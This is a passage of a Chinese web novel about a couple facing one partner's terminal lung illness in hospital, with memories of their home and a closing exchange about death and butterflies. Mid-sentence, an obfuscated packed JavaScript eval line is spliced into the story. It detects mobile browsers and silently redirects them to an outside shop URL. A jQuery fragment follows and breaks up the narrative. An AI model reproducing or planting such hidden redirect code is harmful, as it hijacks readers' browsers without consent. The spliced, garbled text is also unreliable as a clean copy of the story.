护士把呼吸机的参数调高之后，苌斓的呼吸平稳了一些。他闭着眼睛，睫毛在面罩后面轻轻颤动，像两只飞累了暂时停在花瓣上的蝴蝶。忘海坐在床边的椅子上，手里握着苌斓没织完的那条围巾。毛线针还插在最后一行的针脚里，两根针交叉着，像一只停在半空中的蝴蝶。他低头看着那排歪歪扭扭的针脚——有几行织得太紧，边缘卷起来；有几行漏了针，留下一个个小小的空洞。他想起苌斓织这几针的时候靠在床头，把围巾举到灯光下，说又漏了两针，等以后拆了重织。他说“以后”的时候语气很平常，和说明天早上要磨豆浆一样平常。
几天后苌斓的病情短暂地好转了一些。呼吸机撤了，他能自己靠在床头，用吸管小口小口地喝忘海煮的梨汤。那天下午阳光很好，他说想坐起来看看窗外。忘海把病床摇起来，又在他身后垫了一个枕头。苌斓侧头看着窗外，梧桐树的叶子比上周又大了不少，新绿变成了深绿，阳光从叶子的缝隙间漏下来，落在窗台上，落在他摊开的掌心上。他说梧桐树长得真好，住院的时候枝丫还是光秃秃的，现在叶子都这么大了。忘海顺着他的目光看了一眼窗外，说今年雨水多，叶子比往年更绿。苌斓说，等叶子黄的时候，他想去公园踩落叶，像前年那样，把忘海整个人埋进落叶堆里，忘海的眼镜歪到一边，脸上全是泥土和草屑。忘海说，他还会在落叶堆里打滚，滚完之后苌斓帮他摘头发上的碎叶子，说他像一棵秋天的树。苌斓极轻极淡地弯了一下嘴角，说今年秋天还去，还把他埋进落叶堆里，还要帮他摘头发上的碎叶子。
可是好转只持续了短短几天。那天夜里苌斓又开始剧烈地咳嗽，咳出来的血不再是血丝，而是一小口一小口的暗红色血块。氧气面罩重新扣回他脸上，呼吸机的参数再次调高。他昏睡了一整天，醒来时窗外正下着雨。雨点打在梧桐叶上，沙沙地响，和豆浆机磨豆子的声音一模一样。
苌斓靠在床头，侧头看着窗外的雨。过了很久，他忽然说想回家看看。不是回医院这个家，是回他和忘海的家——茶几上紫砂杯安静地立在杯垫上，保温杯并排放在一起，针线盒开着盖子露出那团灰色毛线，阳台上薄荷又长高了一截。他说他知道自己回不去了，医生说左肺的感染在扩散，呼吸机的参数一天比一天高，也许再过几天连话都说不了。他想趁现在还能说话，想跟忘海说说那个家——说玄关的鞋柜上放着两双拖鞋，一双是他的，一双是忘海的；说冰箱上还贴着父亲写的饺子配方，便签边缘卷起来了，但字迹还很清晰；说阳台上的薄荷该浇水了，他不在的时候忘海有没有记得浇。忘海低下头，把苌斓的手轻轻握住，说薄荷浇了，今早浇的，叶子绿油油的。饺子配方还在冰箱上贴着，便签边缘卷起来了，他用透明胶带粘好了。玄关的拖鞋他每天都摆整齐，左是他的，右是自己的。
苌斓沉默了一会儿，然后把忘海的手翻过来，摊开他的掌心，用手指在上面一笔一划地写：“想回家。”忘海把苌斓的手指轻轻合拢，说他知道。等左肺的感染控制住，等呼吸机能撤下来，等他能坐起来了，就带他回家。回家磨豆浆，红枣八颗，豆浆机还是以前那个，杯盖磕坏了一角，但还能用。回家包饺子，芹菜馅的，每一个捏十二个褶子，和以前一样。
苌斓又在忘海掌心里写：“不化疗了。”忘海把他的手轻轻握住，说好，不化疗了。
那天傍晚，苌斓靠在忘海肩上，看着窗外梧桐树的叶子被风吹得轻轻晃动。他说他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724435|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刚才做了一个梦，梦见自己走在一条很长很长的路上，路两边种满了梧桐树，阳光从叶子的缝隙间漏下来，在地上铺了一层碎金。他走得很慢，但每一步都很稳。路的尽头有一扇门，门是开着的，里面传来豆浆机的嗡鸣声。他知道那是忘海在磨豆浆，红枣八颗，磨了三遍。他想推开门，但手还没碰到门把手，就醒了。忘海低下头，把下巴抵在苌斓光溜溜的头顶上。他说，那扇门不会关的。等苌斓走完这条路，推开门，他就在门里面，豆浆磨好了，围巾织完了，保温杯放在茶几上，和紫砂杯并排。
苌斓没有说话，只是把手放在忘海膝盖上，轻轻握住。窗外雨停了，梧桐树的叶子上还挂着水珠，在夕阳下闪着细碎的光。窗台上有一只不知什么时候飞进来的蝴蝶，翅膀是灰白色的，停在苌斓喝完的空杯子上。忘海指着那只蝴蝶让苌斓看，苌斓侧过头，看着那只灰白色的蝴蝶慢慢扇动翅膀。他说像小灰的毛色。忘海说，小灰以前也喜欢趴在窗台上，每次他一喝梨汤，小灰就会凑过来闻杯子。苌斓看着那只蝴蝶从杯子上飞到窗台上，又从窗台上飞到梧桐树的枝丫之间，在夕阳里越飞越远，最后消失在梧桐树的叶子深处。
又过了一天，苌斓在忘海掌心里写：“如果死了，会变成什么。”忘海看着自己的掌心，那里有苌斓一笔一划写下的问题，笔画很轻，但每一个字都很认真。他说，会变成风，会变成雨，会变成梧桐树新发的嫩芽，会变成停在空杯子上的蝴蝶。苌斓又写：“那你呢。”忘海说，他会变成另一只蝴蝶，和他一起飞。飞过梧桐树，飞过玉兰花，飞过所有的春天。苌斓的睫毛轻轻弯了一下，在他掌心里写：“傻。”忘海把这个字收拢在掌心里，像收拢一颗快要融化的糖。